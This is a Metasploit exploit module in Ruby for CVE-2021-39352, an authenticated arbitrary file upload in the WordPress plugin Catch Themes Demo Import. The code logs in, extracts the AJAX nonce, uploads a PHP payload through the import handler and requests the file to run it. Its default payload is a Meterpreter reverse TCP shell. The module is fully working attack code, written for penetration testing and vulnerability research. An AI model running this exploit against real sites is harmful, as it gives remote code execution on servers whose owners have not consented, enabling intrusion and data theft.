## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Plugin Catch Themes Demo Import RCE', 'Description' => %q{ The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are vulnerable to authenticated arbitrary file uploads via the import functionality found in the ~/inc/CatchThemesDemoImport.php file, due to insufficient file type validation. Re-exploitation may need a reboot of the server, or to wait an arbitrary timeout. During testing this timeout was roughly 5min. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Ron Jost', # edb 'Thinkland Security Team' # listed on wordfence's site ], 'References' => [ [ 'EDB', '50580' ], [ 'CVE', '2021-39352' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2617555/catch-themes-demo-import/trunk/inc/CatchThemesDemoImport.php' ], [ 'URL', 'https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39352' ], [ 'WPVDB', '781f2ff4-cb94-40d7-96cb-90128daed862' ] ], 'Platform' => ['php'], 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], # we leave this out as typically php.ini will bail before 350mb, and payloads are small enough to fit as is. # 'Payload' => # { # # https://plugins.trac.wordpress.org/browser/catch-themes-demo-import/tags/1.6.1/inc/CatchThemesDemoImport.php#L226 # 'Space' => 367_001_600, # 350mb # } 'DisclosureDate' => '2021-10-21', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], # https://support.shufflehound.com/forums/topic/i-cant-use-the-one-click-demo-installer/#post-31770 # re-exploitation may need a reboot of the server, or to wait an arbitrary timeout. 'Reliability' => [ UNRELIABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('catch-themes-demo-import', '1.8') if checkcode == CheckCode::Safe print_error('catch-themes-demo-import not a vulnerable version') end checkcode end def exploit cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end # grab the ajax_nonce res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'themes.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'false', # for some reason wordpress gives back an unauth cookie here, so ignore it. 'vars_get' => { 'page' => 'catch-themes-demo-import' } }) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /"ajax_nonce":"(?[a-z0-9]{10})"/ =~ res.body fail_with(Failure::UnexpectedReply, 'Unable to find ajax_nonce on page') unless ajax_nonce vprint_status("Ajax Nonce: #{ajax_nonce}") random_filename = "#{rand_text_alphanumeric(6..12)}.php" vprint_status("Uploading payload filename: #{random_filename}") multipart_form = Rex::MIME::Message.new multipart_form.add_part('ctdi_import_demo_data', nil, nil, 'form-data; name="action"') multipart_form.add_part(ajax_nonce, nil, nil, 'form-data; name="security"') multipart_form.add_part('undefined', nil, nil, 'form-data; name="selected"') multipart_form.add_part( payload.encoded, 'application/x-php', nil, "form-data; name=\"content_file\"; filename=\"#{random_filename}\"" ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Plugin not ready to process new payloads. Please retry in a few minutes.') if res.code == 200 && res.body.include?('afterAllImportAJAX') fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res.code == 500 # yes, a 500. We uploaded a malformed item, so when it tries to import it, it fails. This # is actually positive as it won't display a malformed item anywhere in the UI. Simply writes our payload, then exits (non-gracefully) # # [Fri Dec 24 16:48:00.904980 2021] [php7:error] [pid 440128] [client 192.168.2.199:38107] PHP Fatal error: Uncaught Error: Class 'XMLReader' not found in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php:123 # Stack trace: # #0 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php(331): CatchThemes\\WPContentImporter2\\WXRImporter->get_reader() # #1 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(80): CatchThemes\\WPContentImporter2\\WXRImporter->import() # #2 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/Importer.php(137): CTDI\\Importer->import() # #3 /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/inc/CatchThemesDemoImport.php(306): CTDI\\Importer->import_content() # #4 /var/www/wordpress/wp-includes/class-wp-hook.php(292): CTDI\\CatchThemesDemoImport->import_demo_data_ajax_callback() # #5 /var/www/wordpress/wp-includes/class-wp-hook.php(316): WP_Hook->apply_filters() # #6 /var/www/wordpress/wp-includes/plugin.php(484): WP_ in /var/www/wordpress/wp-content/plugins/catch-themes-demo-import/vendor/catchthemes/wp-content-importer-v2/src/WXRImporter.php on line 123 register_file_for_cleanup(random_filename) month = Date.today.month.to_s.rjust(2, '0') print_status("Triggering payload at wp-content/uploads/#{Date.today.year}/#{month}/#{random_filename}") send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', Date.today.year, month, random_filename), 'method' => 'GET', 'keep_cookies' => 'true' ) end end